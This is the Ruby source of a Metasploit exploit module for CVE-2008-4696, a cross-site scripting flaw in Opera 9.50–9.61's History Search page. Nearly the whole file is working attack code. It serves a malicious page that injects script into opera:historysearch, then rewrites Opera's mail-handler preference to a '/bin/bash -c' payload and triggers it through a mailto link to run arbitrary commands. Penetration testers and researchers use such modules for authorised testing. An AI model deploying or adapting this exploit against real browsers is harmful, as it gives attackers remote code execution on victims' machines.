metasploit-framework/modules/exploits/multi/browser/opera_historysearch.rb

177 lines
4.9 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({
# :ua_name => HttpClients::OPERA,
# :javascript => true,
# :rank => ExcellentRanking, # reliable command execution
# :vuln_test => %Q{
# v = parseFloat(opera.version());
# if (9.5 < v && 9.62 > v) {
# is_vuln = true;
# }
# },
#})
def initialize(info = {})
super(update_info(info,
'Name' => 'Opera historysearch XSS',
'Description' => %q{
Certain constructs are not escaped correctly by Opera's History
Search results. These can be used to inject scripts into the
page, which can then be used to modify configuration settings
and execute arbitrary commands. Affects Opera versions between
9.50 and 9.61.
},
'License' => BSD_LICENSE,
'Author' =>
[
'Roberto Suggi', # Discovered the vulnerability
'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec
'egypt', # msf module
],
'References' =>
[
['CVE', '2008-4696'],
['OSVDB', '49472'],
['BID', '31869'],
['URL', 'http://www.opera.com/support/kb/view/903/'],
],
'Payload' =>
{
'EXITFUNC' => 'process',
'Space' => 4000,
'DisableNops' => true,
'BadChars' => "\x09\x0a\x0d\x20",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet',
}
},
'Platform' => %w{ unix },
'Targets' =>
[
#[ 'Automatic', { } ],
#[ 'Opera < 9.61 Windows',
# {
# 'Platform' => 'win',
# 'Arch' => ARCH_X86,
# }
#],
[ 'Opera < 9.61 Unix Cmd',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
}
],
],
'DisclosureDate' => 'Oct 23 2008', # Date of full-disclosure post showing code exec
'DefaultTarget' => 0
))
end
def on_request_uri(cli, request)
headers = {}
html_hdr = %Q^
<html>
<head>
<title>Loading</title>
^
html_ftr = %Q^
</head>
<body >
<h1>Loading</h1>
</body></html>
^
case request.uri
when /[?]jspayload/
p = regenerate_payload(cli)
if (p.nil?)
send_not_found(cli)
return
end
# We're going to run this through unescape(), so make sure
# everything is encoded
penc = Rex::Text.to_hex(p.encoded, "%")
content =
%Q{
var s = document.createElement("iframe");
s.src="opera:config";
s.id="config_window";
document.body.appendChild(s);
config_window.eval(
"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +
"old_app = opera.getPreference('Mail','External Application');" +
"old_handler = opera.getPreference('Mail','Handler');" +
"opera.setPreference('Mail','External Application',cmd);" +
"opera.setPreference('Mail','Handler','2');" +
"app_link = document.createElement('a');" +
"app_link.setAttribute('href', 'mailto:a@b.com');" +
"app_link.click();" +
"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +
"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +
"");
setTimeout(function () {window.location='about:blank'},1);
}
when /[?]history/
js = %Q^
window.onload = function() {
location.href = "opera:historysearch?q=*";
}
^
content = %Q^
#{html_hdr}
<script><!--
#{js}
//--></script>
#{html_ftr}
^
when get_resource()
print_status("Sending #{self.name} for request #{request.uri}")
js = %Q^
if (window.opera) {
var wnd = window;
while (wnd.parent != wnd) {
wnd = wnd.parent;
}
url = location.href;
wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";
}
^
content = %Q^
#{html_hdr}
<script><!--
#{js}
//--></script>
#{html_ftr}
^
else
print_status("Sending 404 for request #{request.uri}")
send_not_found(cli)
return
end
content.gsub!(/^ {8}/, '')
content.gsub!(/\t/, ' ')
send_response_html(cli, content, headers)
handler(cli)
end
end